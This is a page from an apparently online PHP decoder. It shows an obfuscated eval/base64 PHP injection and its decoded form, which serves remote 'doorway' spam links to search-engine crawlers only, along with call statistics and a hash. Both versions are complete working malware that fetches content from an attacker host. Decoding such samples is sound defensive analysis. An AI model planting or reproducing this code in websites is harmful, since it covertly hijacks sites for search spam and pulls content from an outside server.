Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000..
Decoded Output download
if (preg_match('/google|yahoo|msn|robot|bing|aol|spider/i', $_SERVER['HTTP_USER_AGENT'])){$root = "http://".hexdec("c3").chr("46").bindec(hexdec("1b206")).chr("46").octdec(hexdec("1f")).chr("46").bindec(hexdec("10cd36"));$project = "<!-- HTML 3.51.110 -->";if (@extension_loaded('curl')){$method = "curl";}else{$method = "fgc";}$server_host = @$_SERVER['HTTP_HOST'];$url = $root."/_doorways/map/$server_host.html";$url2 = $root."/_doorways/map/map.html";$map = getUrl($url, $method);if (preg_match('/href/i', $map)){echo $map.$project;}else{$map = getUrl($url2, $method);echo $map.$project;}}function getUrl($url, $method){if ($method=='curl'){$curl=@curl_init();@curl_setopt($curl,CURLOPT_URL,$url);@curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);@curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,15);@curl_setopt($curl,CURLOPT_TIMEOUT,15);@curl_setopt($curl,CURLOPT_VERBOSE,0);@curl_setopt($curl,CURLOPT_HEADER,0);@curl_setopt($curl,CURLOPT_NOBODY,0);@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);$html=@curl_exec($curl);@curl_close($curl);return $html;}else{$html=@file_get_contents($url);return $html;}}Did this file decode correctly?
Original Code
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x10b4;eval($OOO0000O0('aWYgKHByZWdfbWF0Y2goJy9nb29nbGV8eWFob298bXNufHJvYm90fGJpbmd8YW9sfHNwaWRlci9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7JHJvb3QgPSAiaHR0cDovLyIuaGV4ZGVjKCJjMyIpLmNocigiNDYiKS5iaW5kZWMoaGV4ZGVjKCIxYjIwNiIpKS5jaHIoIjQ2Iikub2N0ZGVjKGhleGRlYygiMWYiKSkuY2hyKCI0NiIpLmJpbmRlYyhoZXhkZWMoIjEwY2QzNiIpKTskcHJvamVjdCA9ICI8IS0tIEhUTUwgMy41MS4xMTAgLS0+IjtpZiAoQGV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSl7JG1ldGhvZCA9ICJjdXJsIjt9ZWxzZXskbWV0aG9kID0gImZnYyI7fSRzZXJ2ZXJfaG9zdCA9IEAkX1NFUlZFUlsnSFRUUF9IT1NUJ107JHVybCA9ICRyb290LiIvX2Rvb3J3YXlzL21hcC8kc2VydmVyX2hvc3QuaHRtbCI7JHVybDIgPSAkcm9vdC4iL19kb29yd2F5cy9tYXAvbWFwLmh0bWwiOyRtYXAgPSBnZXRVcmwoJHVybCwgJG1ldGhvZCk7aWYgKHByZWdfbWF0Y2goJy9ocmVmL2knLCAkbWFwKSl7ZWNobyAkbWFwLiRwcm9qZWN0O31lbHNleyRtYXAgPSBnZXRVcmwoJHVybDIsICRtZXRob2QpO2VjaG8gJG1hcC4kcHJvamVjdDt9fWZ1bmN0aW9uIGdldFVybCgkdXJsLCAkbWV0aG9kKXtpZiAoJG1ldGhvZD09J2N1cmwnKXskY3VybD1AY3VybF9pbml0KCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCR1cmwpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDE1KTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9USU1FT1VULDE1KTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9WRVJCT1NFLDApO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0hFQURFUiwwKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9OT0JPRFksMCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7JGh0bWw9QGN1cmxfZXhlYygkY3VybCk7QGN1cmxfY2xvc2UoJGN1cmwpO3JldHVybiAkaHRtbDt9ZWxzZXskaHRtbD1AZmlsZV9nZXRfY29udGVudHMoJHVybCk7cmV0dXJuICRodG1sO319'));?>Function Calls
| urldecode | 1 |
| base64_decode | 1 |
Stats
| MD5 | 7fa3343c9bb8395c8e4ca915d0e4e0ca |
| Eval Count | 1 |
| Decode Time | 144 ms |